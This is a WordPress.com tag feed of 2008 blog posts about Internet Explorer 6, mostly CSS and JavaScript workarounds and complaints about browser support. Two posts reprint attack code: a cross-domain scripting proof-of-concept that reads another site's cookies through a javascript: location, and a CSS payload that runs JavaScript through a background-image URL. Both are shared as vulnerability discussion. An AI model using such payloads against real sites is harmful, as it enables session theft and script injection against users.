ie6 « WordPress.com Tag Feed

Solution for PNG images in css

sureshjain — Tue, 05 Aug 2008 09:21:03 +0000

Many of us might have nightmare's using png images as they are not supported in IE. Here is the solution we can use to overcome that nightmare

Method 1:

html>body .className{
background: url("../images/suresh kumar.png") no-repeat;
}

Method 2:

* html #id{
background:url("../images/none.gif");
filter: progid XImageTransform.Microsoft.AlphaImageLoader(src='images/sureshkumar.png', sizingmethod='crop');
cursor: hand;
}

JavaScript Functions are Weird, Too

Nosredna — Sat, 02 Aug 2008 16:56:11 +0000

Remember when I said that JavaScript arrays are weird because they are also objects? Aside from their numbered elements, they can have, in addition, hash elements (a key and a value).

Believe it or not, functions in JavaScript are just as weird. They also are objects. If you have a function named bar, it can have a property named foo.

Doesn't seem very useful, does it? After all, functions can already have variables declared inside them.

The difference? These special function elements persist from one call of the function to the next. You can use them to replace global variables that might otherwise cause unsightly clutter.

For instance, if you want a function to keep track of how many times it's been called, this does the trick:

function add(a,b) {
  if (add.called===undefined) {
    add.called=0;
  }
  add.called++;
  return a+b;
}

or, more tersely but confusingly,

function add(a,b) {
  add.called=add.called+1 || 1;
  return a+b;
}

You don't have to call the function by its name when you're in the function, you can use arguments.callee instead.

How about a real world example. [Warning: You probably won't get your money's worth unless you compare the before-and-after code. I suggest copying and pasting them into a diff program so you can see the changes highlighted. Or you could just print out this whole blog post and take it to the bathroom.]

Alert! Unresponsive Script!

Sometimes, you might have some code that takes so long to execute that the browser alerts the user that a script has become unresponsive. That tends to take a long time for new browsers (they assume you might be running a Rich Internet Application and that such messages may be worse than the trouble they're trying to solve), but for old browsers (like my nemesis IE6), the time is short. Something like 3 seconds.

Yummy Morsels

To solve this problem we have to break up work into bite-sized pieces.

Here's our before case, the brute force (slow) solution to finding prime numbers. Adapted from a C version here.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
    <title><!-- Insert your title here --></title>
    <script type="text/javascript">
        function findPrimes(topCandidate) {
            var primes=[];

            candidate = 2;
            while (candidate <= topCandidate) {
                trialDivisor = 2;
                       prime = true;
                while (trialDivisor * trialDivisor <= candidate) {
                    if (candidate % trialDivisor === 0) {
                        prime = false;
                        break;
                    }
                    trialDivisor++;
                }
                if (prime) {
                    primes.push(candidate);
                }
                candidate++;
            }
            return primes.length;
        }
    </script>
</head>
<body>
    <!-- Insert your content here -->
    <form action="">
        <input type="button"
               onclick='alert(findPrimes(100000))'
               value="Find Primes" />
    </form>
</body>
</html>

Now here's the version where we only let 1000 numbers be checked at once. After 1000 have been done, we fall out of the code, but before we go we trigger a setTimeout with a delay time of 0. That's all we need to do to let the browser catch its breath.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<title><!-- Insert your title here --></title>
<script type="text/javascript">
    function findPrimes2(topCandidate) {
        var persist=arguments.callee;
        var tries=0;
        if (persist.candidate===undefined) {
            persist.candidate=2;
            persist.primes=[];
            persist.topCandidate=topCandidate;
        }
        keepTrying = true;
        while (persist.candidate <= persist.topCandidate && keepTrying) {
            trialDivisor = 2;
            prime = true;
            while (trialDivisor * trialDivisor <= persist.candidate) {
                if (persist.candidate % trialDivisor === 0) {
                    prime = false;
                    break;
                }
                trialDivisor++;
            }
            if (prime) {
                persist.primes.push(persist.candidate);
            }
            persist.candidate++;
            tries++;
            if (tries>1000) {
                keepTrying=false;
            }
        }
        if (keepTrying) {
            persist.candidate=undefined;
            alert(persist.primes.length);
        } else {
            setTimeout(persist,0);
        }
    }
    </script>
</head>
<body>
    <!-- Insert your content here -->
    <form action="">
        <input type="button"
               onclick='findPrimes2(100000)'
               value="Find Primes" />
    </form>
</body>
</html>

Compare the two versions. In the second, I've short-circuited the loop so that it only checks 1000 numbers to see if they are prime. To keep comparisons easy, I've tried to make the least number of changes I could. In real-world cases, you start with the idea that you're going to work in chunks, and your code ends up cleaner.

Some Are Sticky, Some Aren't

We've made some of the variables persistent. These are the ones that have to be kept across invocations of the function. All other variables dry up and blow away.

Since arguments.callee is such a long name, I've set the variable persist to hold the current function name.

This is not a recursive function. We let the function finish. It's set up to be called again with setTimeout. You don't want to is wait around in busy loops, making the browser all gummy and unresponsive.

If you do have responsiveness problems, put a longer delay and check fewer candidates at a time. This will make the process take longer, of course. It's a trade-off.

Any wait longer than a couple seconds is going to make the user wonder what's going on. A progress bar is the best solution for long waits. For short waits, a throbberis OK.

Program flow is not obvious when using setTimeout to control flow. In larger programs when you're using this technique, you may want some kind of handler that's in charge of passing control from one section of the code to another, instead of hardcoded setTimeout chaining.

Interesting website, especially how it’s built

neoco — Fri, 01 Aug 2008 11:12:30 +0000

After reading Benn’s tweet about mystarbucksidea , I headed over to investigate. The first thing I noticed was that Benn had got the URL wrong – it’s actually http://mystarbucksidea.com/ (with an s after starbuck). The second thing I noticed was that the site, at first glance, looks great! It’s simple, clean and clear. It looks like it accomplishes its goal well.

It’s interesting to dig into the list of ideas. It appears that most of the users of the site are vegans demanding more vegan products. “zschmidl” even goes so far as to complain “it kind of grosses us vegans out to see dead pig on your counter”. I can only imagine Starbucks is very different in the US, as I’ve never seen a dead pig in the Leicester Square Starbucks. I’m not 100% convinced by the genius of any of these ideas; whether or not they will help to put Starbucks back into the black remains to be seen (Starbucks has just posted its first ever quarterly loss).

The idea for the Starbucks forum apparently came from Dell’s Ideas Storm website (interesting blog on the subject) – aimed to put the company in touch with what its customers actually want. Both of these sites are built using the SalesForce.com platform. And this, for me, is where the story gets even more interesting than the dead pig line.

The first sign of trouble (on my FF3 browser) was on the homepage. For some reason (unknown probably even to SalesForce), there are 1150 pixels of white space between the bottom of the content and the footer. It then dawned on me that all the sub headings on the site are separate Flash movies. At first, this seemed impossible. Surely no one would want to use a Flash movie for all the sub headings! Surely!

There are other oddities too. When the site loads, the page title is “Portal Header”, replaced (via Javascript) with “My Starbucks Idea”. Look at the source and you realise that the SalesForce platform is obviously built to be generic, to the point where bloated code is used in abundance. A single post (the pig post), which conveys the following information (totalling 649 characters):

Posted by zschmidl to food

7/24/2008 9:33 AM

Add more vegan treats and pastries to your menu! 95% percent of the food you provide contains milk, eggs or animal flesh leaving little or no choice for AR advocates. Not only does it keep money out of your pocket, it kind of grosses us vegans out to see dead pig on your counter...

Furthermore, organic and fair-trade ingredients are of upmost importance. Your products are already pricey and considered high-quality, obviously people are willing to pay more for better food... By switching over to a more compassionate and progressive menu, you have absolutely nothing to lose.

44 comments

vote

2320 points

Ends up as the following (4,598 characters) with markup:

<li class="" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0">

<div class="ideaSection"><div class="ideaSide" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:ideaSide"><div class="voteContainer"><div id="voteButton087500000004yPV" class="voteButton"><a onmouseout="return setVoteStatusMsg('');" onmouseover="return setVoteStatusMsg('Click to vote');" onclick="return true;" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:voteLink" href="/secur/login_portal.jsp?orgId=00D500000008OkU&portalId=06050000000D1Ee&ec=302&startURL=%2Fideas%2FideaList.apexp"><div class="votelt"/><div class="votert"/><span class="insideVote" style="visibility: visible;">Vote</span><span class="insideVoted" style="visibility: hidden;">Voted</span><div class="votelb"/><div class="voterb"/></a><div class="voteStatusBlock"><span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:voteScorebox">2320</span><br/>Points</div></div></div></div>

<div class="ideaContentWidth ideaContent">

<h3 class="ideaContentWidth ideaSubject sIFR-replaced"><object height="40" width="590" type="application/x-shockwave-flash" id="sIFR_callback_0" name="sIFR_callback_0" data="http://www.starbucks.com/mystarbucksidea/app_themes/theme/flash/tradegothic1.swf" class="sIFR-flash"><param name="flashvars" value="content=%253Ca%2520href%253D%2522/ideas/viewIdea.apexp%253Fid%253D087500000004yPV%2522%2520target%253D%2522%2522%253EOrganic/Vegan%253C/a%253E%2520&antialiastype=&width=590&height=40&renderheight=40&fitexactly=false&tunewidth=0&tuneheight=0&offsetleft=&offsettop=&thickness=&sharpness=&kerning=&gridfittype=pixel&flashfilters=&opacity=100&blendmode=&size=28&css=.sIFR-root%257Bcolor%253A%2523888888%253Bheight%253A30px%253Bpadding%253A0px%253Bmargin%253A0px%253B%257Da%257Bcolor%253A%2523888888%253Btext-decoration%253Anone%253B%257Da%253Ahover%257Bcolor%253A%2523a85c1f%253Btext-decoration%253Anone%253B%257D&selectable=true&fixhover=true&preventwrap=false&forcesingleline=false&link=/ideas/viewIdea.apexp%253Fid%253D087500000004yPV&target=&events=false&cursor=default&version=382"/><param name="wmode" value="opaque"/><param name="bgcolor" value="#FFFFFF"/><param name="allowScriptAccess" value="always"/><param name="quality" value="best"/></object><span class="sIFR-alternate" id="sIFR_callback_0_alternate"><a href="/ideas/viewIdea.apexp?id=087500000004yPV" name="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkTitle" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkTitle">Organic/Vegan</a>

</span></h3><div class="ideaContentWidth ideaComment" id="thePage:mainLayout:pbIdeaList:incIdeaListStd:ideaListStd:ideaList:0:postedByWrapper" style="position: relative; top: -10px;">Posted by <span class="userLink">zschmidl</span> to <a href="/ideas/ideaList.apexp?c=09a5000000001hi&lsi=0&category=Food" class="ideaCategory">Food</a> , 7/24/2008 9:33 AM</div><div class="ideaContentWidth ideaBody" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:body">Add more vegan treats and pastries to your menu!  95% percent of the food you provide contains milk, eggs or animal flesh leaving little or no choice for AR advocates.  Not only does it keep money out of your pocket, it kind of grosses us vegans out to see dead pig on your counter...

<br/>

<br/>Furthermore, organic and fair-trade ingredients are of upmost importance.  Your products are already pricey and considered high-quality, obviously people are willing to pay more for better food...  By switching over to a more compassionate and progressive menu, you have absolutely nothing to lose.</div>

<div class="ideaContentWidth ideaComment"><a class="ideaCommentIcon" href="http://mystarbucksidea.force.com/ideas/viewIdea.apexp?id=087500000004yPV" name="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkComments" id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:linkComments">

Comments [44]</a>

<span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:j_id60"><span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:postedByUserTextToCategory"/></span>

<span id="thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:createdDate"/>

</div>

</div>

</div></li>

That means that this single post is 4.4kb in size, and only 14% of this is actual content; the rest is bloated markup.

My personal favourite is the IDs that are given to nearly evey element, for example the date of this idea is contained within a span which has the ID:

thePage:mainLayout:pbIdeaList:incIdeaList:ideaListStd:ideaList:0:createdDate

So does any of this actually matter? I would say YES! I imagine that the Flash movies are used for headings to allow for a custom font. But this is madness. Similarly, requiring Javascript to populate the page title also seems slightly insane, and leads to the amusing situation where Google indexes the site with the title “Portal Header”.

I’m a fairly strong believer in web standards, and in particular the idea of good, symantically relevant, HTML markup. It would be fairly straightforward to implement this site and stick to the standards, and this would benefit the end user by offering better accessibility, faster loading times and overall a better experience.

Overall I do like the idea of www.mystarbucksidea.com, I just don't like the implementation.

I tried to use www.browsershots.org to show you how the site breaks on some browsers, but browsershots can't even handle the site! Click here to see its attempt!

See below for a screenshot when viewed in IE6.

Usando IE6 e IE7 ao mesmo tempo

Leo — Sun, 20 Jul 2008 17:28:55 +0000

Depois de usar por um bom tempo essa solução, a dias tive que fazer uma formatação no PC e nao queria mesmo ter mais um navegador instalado aqui (mesmo sabendo que tenho que testar sites em um monte deles). Bom, eu ja sabia do Browsershot, um serviço genial que permite que você digite o endereço do seu site, escolha entre dezenas de navegadores e suas versões e tenha as screenshots do site desejado em poucos minutos. Aqui ele levou cerca de 10 min pra mostrar 44 telas, entre versões e navegadores diferente.

Bom, mas isso ainda não resolvia meu problema, pois eu precisava corrigir vários "probleminhas" no IE6 - e quem não testa nele, deveria. Entao, por conta dele, resolvi baixar novamente o MultipleIEs, que contém simplesmente todas as versões anteriores ao IE7. Com ele é possível ter instalado no mesmo computador sua versão atual do IE7 e todas as outras anteriores, sem ter que desinstalar nada. Uma das grandes soluções que eu ja encontrei pra não te forçar a ter um trabalho maior do que deveria com navegadores.

Disponibles Windows XP y Vista con IE6, IE7, IE8 para VirtualPC

Eduardo Sanchez Vera — Sun, 20 Jul 2008 13:44:48 +0000

Ya tienen disponibles las imagenes del sistema operativo Windows XP y Windows Vista para ser utilizadas con el microsoft virtual pc, estas imagenes contienen el internet explorer con la versión 6, 7, y 8beta1. Estas imagenes expiran en setiembre del 2008.

Esta página de descarga contienen 4 imagenes VPC separadas, depndiendo de lo que tú desees testear.

IE6-XPSP2_VPC.exe contiene un Windows XP SP2 con Internet Explorer 6.
IE7-XPSP2_VPC.exe contiene un Windows XP SP2 con Internet Explorer 7.
IE8B1-XPSP2_VPC.exe contiene un Windows XP SP2 con Internet Explorer 8 Beta 1.
IE7-VIS1.exe+IE7-VIS2.rar+IE7-VIS3.rar contiene un windows Vista con Internet Explorer 7.

Nota: para la imagen del Windows Vista, necesitas descargar los 3 archivos y guardarlos en el mismo directorio, luego simplemente ejecutar el archivo IE7-VIS1.exe.

Descargar Imagenes para el Virtual PC:
http://www.microsoft.com/downloads/details.aspx?
FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&displaylang=en

Info Virtual PC:
http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx

Descargar Virtual PC 2007 SP1:
http://www.microsoft.com/downloads/
details.aspx?FamilyId=28C97D22-6EB8-4A09-A7F7-F6C7A1F000B5&displaylang=en

XdSS - cross domain site scripting

dblackshell — Thu, 17 Jul 2008 21:00:36 +0000

Now available in local stores near you... I'm kinda 3 days off, but just today took the time to take a look on the feeds I follow, and came across this interesting article back at F-Secure's blog -> Internet Explorer 6 Cross-Domain Scripting Vulnerability... I bet some of you will find it very useful... Anyway you can find the PoC code at raffon.net...

If you're too lazy to click here-and-there, here is the code
---
function win() {
   x=window.open('http://www.google.com');
   setTimeout (function () {
      x.location.href = new String("javascript:alert(document.cookie)")
   }, 3000)
}
---

Security Warning Message in IE6 and empty iframe

qiangli — Thu, 17 Jul 2008 09:59:08 +0000

Last two days we have a problem wiht Security Information Window.

[caption id="attachment_22" align="aligncenter" width="300" caption="Security Information from IE6"][/caption]

This window will be showed by each page loading. Why? After long searching we finded the answer. There is a empty iframe. It will be created by lightbox2.js in lightbox module for Drupal CMS. But for the most page, there is nothing in this iframe and it is also nonvisible.

How to fix this problem? You can find a solution on MSDN page. PRB: Security Warning Message Occurs When You Browse to a Page That Contains an IFRAME Through SSL

But for our problem, we find out another solution. We comment the code for iframe creating in lightbox2.js. Then, everything is fine! But when will be the content in iframe created? We do not have the answer.

Estan usando el navegador mas seguro ?

Julián Rodríguez — Sat, 05 Jul 2008 02:30:27 +0000

Un estudio reciente basado en información aportada por Google, concluye en que un gran número de usuarios no están utilizando las versiones más seguras y actualizadas de sus respectivos navegadores.

El estudio también encontró que se trata más de un problema de usuarios de Internet Explorer que de Firefox. Sin embargo, no tiene en cuenta que ello está en relación con la cantidad de usuarios de uno o de otro navegador.

Por ejemplo, si miramos en las estadísticas de visitas a nuestro sitio VSAntivirus.com en el día de ayer (3/7/08), un 65% de usuarios utilizaron Internet Explorer, un 30% Firefox, un 2,53% Opera y un 0,48% Safari.

Otra de las críticas, son las limitaciones en la metodología utilizada en el estudio, que ponen en tela de juicio las conclusiones alcanzadas por el autor, según un análisis publicado en eWEEK.com

Los datos de registros de Google se basan en la cadena "user-agent" del HTTP proporcionada por el navegador con el fin de identificarse, e Internet Explorer proporciona datos mucho menos precisos en su "user-agent" que otros navegadores.

Mientras que Firefox proporciona datos específicos sobre la versión del navegador, el IE solo brinda información genérica (IE6, IE7, etc.). Pero los autores del estudio decidieron que todos aquellos que utilizan IE7 están al día, incluso aquellos que no han aplicado parches del IE7.

El mismo concepto lo aplican a usuarios de IE6 (el informe los clasifica como inseguros), cuando aquellos que han aplicado los últimos parches pueden llegar a estar tan seguros como otros con IE7 en la misma condición.

El estudio concluye que los usuarios de Firefox aplican los parches o versiones actualizadas más rápidamente que los usuarios de IE. Pero esto demuestra que son usuarios con más autoridad sobre sus sistemas, y no tiene en cuenta a usuarios corporativos que no poseen el control para aplicar estos parches.

Las versiones IE5 e IE6 siguen siendo soportadas por Microsoft, debido a que los clientes, sobre todo corporativos, lo exigen, mientras que Mozilla ya ha anunciado que el soporte para Firefox 2 finalizará en diciembre de 2008.

40% من مستخدمي الانترنت يتصفحون بـ متصفحات قديمة !

عبدالملك — Fri, 04 Jul 2008 18:08:38 +0000

على حسب مجموعة من الباحثين يتصفح 673 مليون مستخدم الانترنت مع متصفحات قديمة و بهذا يواجهون خطر كبير لهجمات من قبل شبكات الكمبيوتر العالمية.

الباحثين جمعوا الإحصائيات عبر طلبات البحث التي تم إجراءها على غوغل و شركة Secunia المتخصصة في الأمن و الحماية. و أوضح الباحثين أنهم كانوا يريدون معرفة أسباب نجاح الهاكرز في اختراق الحواسيب عن طريق المتصفحات.

النتيجة كانت مذهلة, 40% من جميع مستخدمي الانترنت يستخدمون متصفحات قديمة . و 78% منهم يستخدم متصفح انترنت إكسبلورر و هذا بالطبع طبيعي بما انه الأكثر شهرة (و لكن كما نعرف ليس الافضل).

المتبقي 16% يستخدم فايرفوكس, 3% سفاراي و 0,8% اوبرا.

و تابع الباحثين أن من مستخدمي انترنت إكسبلورر 52% يستخدم احدث نسخة للمتصفح و 48% يستخدم نسخة قديمة من IE7, أي بدون تحديثات, و حتى النسخة السادسة و بعضا منهم الأقدم.

و لتوضيح أهمية المتصفح قام الباحثين بمقارنة المتصفحات مع صناعة الغذاء. الجميع منا يريد غذاء صحي و آمن و نفس الأمر ينطبق على المتصفحات.

نحن ننصح باقتناء متصفح فايرفوكس, الأفضل. النسخة الأخيرة (فايرفوكس 3) أو (9.5 Opera)

Wine Doors cara asyik Pake Linux....

canmasagi — Fri, 04 Jul 2008 02:41:18 +0000

Fedora Linux + Wine + Wine Doors rasanya asyik. Freedom dan Infinity di Linux plus menyelamatkan software-software proprietary yang terlanjur di beli oleh kantor. Jadi boss ngak marah nih! O ya, Wine Doors adalah aplikasi manajemen aplikasi Windows untuk GNOME di Linux. tujuannya adalah untuk memudahkan kita menginstall aplikasi Windows di Linux. Suatu paduan kemudahan dan keamanan yang tangguh!

Wine Doors merupakan kemudahan yang dibuat pembuatnya di http://www.wine-doors.org dalam menginstall paket-paket aplikasi dan libraries. tidak seperti winetricks yang geeky Wine Doors sangat user friendly dan mirip Yumex dalam menginstall kebutuhan kita.

Untuk donwload Wine Doors (dalam bentuk rpm untuk Fedora) silakan kunjungi situsnya. Syarat mutlak agar wine doors jalan adalah Wine sendiri, dan glade2.

Instalasi cukup jalankan:

# rpm -ivh wine-doors*.rpm

Untuk menjalankannya Wine Doors nangkring di Applications > System Tools dan klik Iconnya disana. Pertama-tama kita musti mencontreng apakah kita punya lisensi Windows?

Di bawah ini adalah screenshot Wine Doors sedang beraksi.

IE IS INSECURE. NUH UH. YUH HUH...

Ankeet — Sun, 29 Jun 2008 09:52:37 +0000

I came across this page which gives a very crappy example of why endusers shouldn't be allowed to add their own CSS on some site.
Here's the CSS:

d = new Date document.body.insertAdjacentHTML('AfterBegin', '<h2 class="hack">Embedding Javascript int5o CSS on IE6 on ' + d + ' </h2>' ) alert('done'); /*Some funny ASI Craracters here*/ ($_$)&(%_%)^(@__*)/~~>BaCkGrOuNd-ImAgE:url(\ja\vasc\ri\pt:/*@cc_on (Function(document.body.currentStyle.fontFamily))() @*/);
Okay, the author didn't know how to spell 'characters'. But the point was crappy enduser code, that can end up posing a risk to other endusers. Obviously this only works in certain (probably older) versions of IE... the problem? The javascript is located in the CSS itself. And in IE6 it works. The bigger problem? The IE4+ insertAdjacentHTML. I wanted to play with some generated content in a related manner, but now it's 6 AM... I shall sleep. While I do that, discuss? If there's anyone to dicuss anyways.

Apresentando: Ramon e a barra de topo...

Ramon de Souza — Sun, 29 Jun 2008 02:57:37 +0000

Olá moçada! Pra quem não me conhece, me chamo Ramon, sempre ajudo os blogueiros e a comunidade open-source. Mas de tanto ajudar o Diego com a H2O, acabei virando colaborador do blog..

Mas esse não é bem o assunto do post. Queria mesmo saber o que vocês acharam da barra estilo office lá em cima. O que mais precisa ter?? Funciona corretamente no seu navegador?? Comente!

Atenção: No Internet Explorer 6, não funciona, mas se você usa ele, e quer ver a barra, faça um upgrade pro Firefox :D, é "Bão d+" e você não vai se arrepender.

Editado: O que você achou, agora, do visual do longhorn? Ainda vamos mudar mais... ( E o tema da enquete vem vindo :D )

Pessoal, não copiem o código da barra sem autorização do Diego. Este é um direito da H2O.

IE6 zero-day cross-site scripting bug reported

Smokey — Fri, 27 Jun 2008 21:35:13 +0000

Security researchers are warning users about an unpatched cross-site scripting bug in Internet Explorer 6 (IE6) that could be used by hackers to capture keystrokes and steal other information.

At BlueHat, researcher Manuel Caballero, who has worked for Microsoft as an independent penetration tester, said he had found a way to capture every browser action, including keystrokes used to type passwords. In a videotaped interview that Microsoft conducted during BlueHat, Caballero said that the combination of Flash and any browser, not just IE, could be hacked with a malicious script to give attackers full access to the browser.

The vulnerability is caused due to an input validation error when handling the 'location' or 'location.href' property of a window object. This can be exploited by a malicious website to open a trusted site and execute arbitrary script code in a user's browser session in context of the trusted site.

IE7, the current version of Microsoft's browser, does not contain the vulnerability, both Secunia and McAfee said. Until Microsoft produces a patch for the older browser, users should update to IE7, they added.

Sources: ComputerWorld, Secunia, McAfee

Developing for IE6, will it ever end?

Chris — Fri, 27 Jun 2008 13:47:41 +0000

Over the last few days I've been troubleshooting some CSS styling issues with IE6. This is no different than much of the design and development work I've done on web sites and applications over the past several years but this time, I seriously considered not supporting IE6 any longer. I've become spoiled but the ever increasing amount of standards compliant web browsers that all render very close to each other with the exception of some minor tweaks. Then we have IE6.

Yesterday, as I ran into a very frustrating bug, it led me to wonder how many wasted hours do web developers spend per day trying to code for IE6? It has to be hundreds hours per day worldwide. This is a browser that is well past it's life span but for whatever reason continues to have 40% to 70% market share depending on your audience. Is IE6 good enough for that many people that they refuse to upgrade or do they just not know that at the very least IE7 is available to them? Either way, at some point, I think we need to move on with or without these people. For now, I'm going to continue to put fixes in place for IE6 but my patience for this browser is wearing thin. Hopefully sometime soon we can move on from the IE6 nightmare and for me, and I'm sure most web developers/designers, this can't happen soon enough.

Browser Support and SAP CRM

Johan van Zijl — Thu, 26 Jun 2008 08:28:45 +0000

My default Web Browser is still Internet Explorer 6.0. Not that I particularly like IE 6, I happen to have Firefox, Opera and Safari installed as well.

But, most of my customers still use IE6 and some of their(woefully unpatched) SAP CRM 4.0 and 5.0 IC WebClient Systems still require IE6.

A quick run down on IC WebClient browser support(all the versions support IE6) from the PAM:

CRM 4.0 - IE7 has been released(11 July 2007) conditionally to the implementation of notes 986254, 1005093 and 981710.
SAP CRM 5.0 - IE7 is supported with CRM 5.0 Support Pack 10 since 29 July 2007. Also note that the WebClient on IE7 with Vista will only be supported by 30 September 2008!
SAP CRM 2007 - IE7 support came standard. Also, there is limited support for Firefox 2(This really works, except for the bloody ActiveX controls).

Bottom line, IE6 is still the most trusted and reliable browser to use with the WebClient.

Microsoft released IE7 in October 2006 and it took SAP 9 months to get the WebClient to work with it. It seems IE8 is in beta on its way later this year. Time will tell if the final version 8 will fix the bugs and be as standards compliant as promised.

I don't think there was anything wrong with SAP developing the IC WebClient(and most of its other BSP Applications) only for IE6 as that was what 99% of its customers were using at the time(I have never seen anything other than IE on a corporate network). However, I imagine SAP spent a truck load of money to make its 3 supported CRM versions work with IE7. Now, IE8 is coming and I wonder how much it will cost SAP to provide IE8 support.

My hope is that SAP realizes that by chasing compatibility for individual browser editions is inefficient. Developing to a standard such as XHTML, wasn't feasible 2 years ago, but it surely must become the development direction now.

And there is no reason why you shouldn't be able to display SAP Notes(also a BSP application) with a relatively standards compliant browser such as Opera. By the way, Opera is not supported for any HTMLB based BSP applications, so this is not a CRM specific issue.

A final thought relating to the screenshot above. Why should SAP completely bomb me out if I use an unsupported browser? Why not just run the page and see what happens? Its not as if I am going to log a message about it as the PAM clearly omits Opera as a supported platform.

Collusion dream

Gareth J M Saunders — Tue, 24 Jun 2008 14:51:31 +0000

Fancy starting a new campaign with me? It's a campaign of collusion for Web designers and it's really pretty simple, I can't believe that we've not thought of it sooner.

Here's how it goes: we all agree to completely ignore the existence of Internet Explorer!

That's it! As simple as that.

It will, of course, lead to conversations like this:

Client: That new site you've just designed, it doesn't work in Internet Explorer

Web designer: Inter.. what?

Client: Internet Explorer. My web browser. Internet Explorer 7. IE7?

Web designer: IE7? Never heard of it.

Client: You must have heard of it. Internet Explorer! It comes installed on every Windows PC.

Web designer: It's not on mine. Seriously? It's called IE7? ... nope! Really doesn't ring a bell, I'm afraid. It must be one of those really tiny, unpopular browsers. We don't support those, there's no point.

That's my dream anyway, and has absolutely nothing to do with my spending a week debugging some code in IE6 and IE7 ... whatever they are.

Testing multiple versions of Internet Explorer

marblegravy — Tue, 24 Jun 2008 01:34:01 +0000

We all know how completely un-awesome Internet Explorer 6 is and how un-wonderfully it complies to all those standards and stuff. As website designers, the world would be a much happier place if everyone was using Firefox or at least IE7, but unfortunately the world is a miserable place with millions of people still trolling around the internets with the now very outdated Internet Explorer 6.

Unfortunately for us, each verison of Internet Explorer uses the same resources to get the job done which means installing multiple versions is impossible. Or so I thought.

Standalone browsers

These look to be fantastic as they don't overwrite any of the system files that your main browser uses. What this means is that you are effectively testing a fresh copy of IE6 (or earlier if you really feel the need) on the same system as IE7 or IE8.

You can grab the standalone installers from here -> http://browsers.evolt.org/?ie/32bit/standalone

A note on Vista

After fishing around for a very long time, it apppears that the only way to test in IE6 on a Windows Vista machine is to run a Virtual System. Microsoft has a full set of instructions on how to set this up.

IE6 Javascript Form Submission - Hit or Miss

Chris Nojima — Thu, 12 Jun 2008 00:38:28 +0000

Internet Explorer 6, a venerable old browser to be sure, is still widely used despite the availability of much better (and free) alternatives. This continues to be a time-sink for any front-end developer.

While not at all a technical observation, my one reproducable use-case around this bug was by:

Programatically creating a DOM Element <div>
Dynamically creating and assigning an onclick event handler to the <div>
Trying to submit a given form with validation and some custom hidden <input> fields.

What I observed is that the click propagation doesn't seem to want to return from the onclick handler function

Here's a fun one:

document.getElementById("myFormId").submit();

Should be straightforward, correct? In some select cases, this actually will not work.

The workaround:
Set the scope to the document level and force submission with a short timeout.

document.doSubmit = function() {
    document.getElementById("myFormId").submit();
}
setTimeout("document.doSubmit();", 50);

Putting it all together:
Here's your trigger, say an <img> tag:<img src="..." onclick="submitMyForm();" />

Here's the form submit function:

function submitMyForm() {
    // do some validation, completion checking, etc.
    ...
    // now call the externalized submit function
    document.doSubmit();
}

Here's the setTimeout handler:

document.doSubmit = function() {
    document.getElementById("myFormId").submit();
}

The <img> tag's onclick event calls submitMyForm() which then calls document.doSubmit() .

anti IE6

tudorizer — Sun, 08 Jun 2008 12:17:11 +0000

jQuery plugin to warn a user to upgrade from IE6. Strike back at MS' empire :)

Beacause this files are so small, I suggest sticking them to some other .js in your site, to make fewer HTTP requests to the server.

Here are the resources:
JS: http://www.mediafire.com/?ueny360bhpt
CSS: http://www.mediafire.com/?5nebmmjmxhn

DEMO (open with IE6): http://madisonsoccercentral.com/admin/anti-ie6/

How to use: just include the .js file. Done !

Please post feedback with your mods or suggestions.

Stop Supporting IE6? Reddit Has!

:// — Wed, 28 May 2008 02:24:05 +0000

IE6 has been in a downward spiral since FF. With the release of IE7 and the development of IE8, not to mention the open source movement, people start to question why they are using old software. Reddit.com recently released a beautiful new redisign and they have chosen to not support IE6. It still looks fine in IE6 but it does not look 'perfect'. Is this the beggining to an end of IE6? A step in the right direction? A mistake? You decide 2008!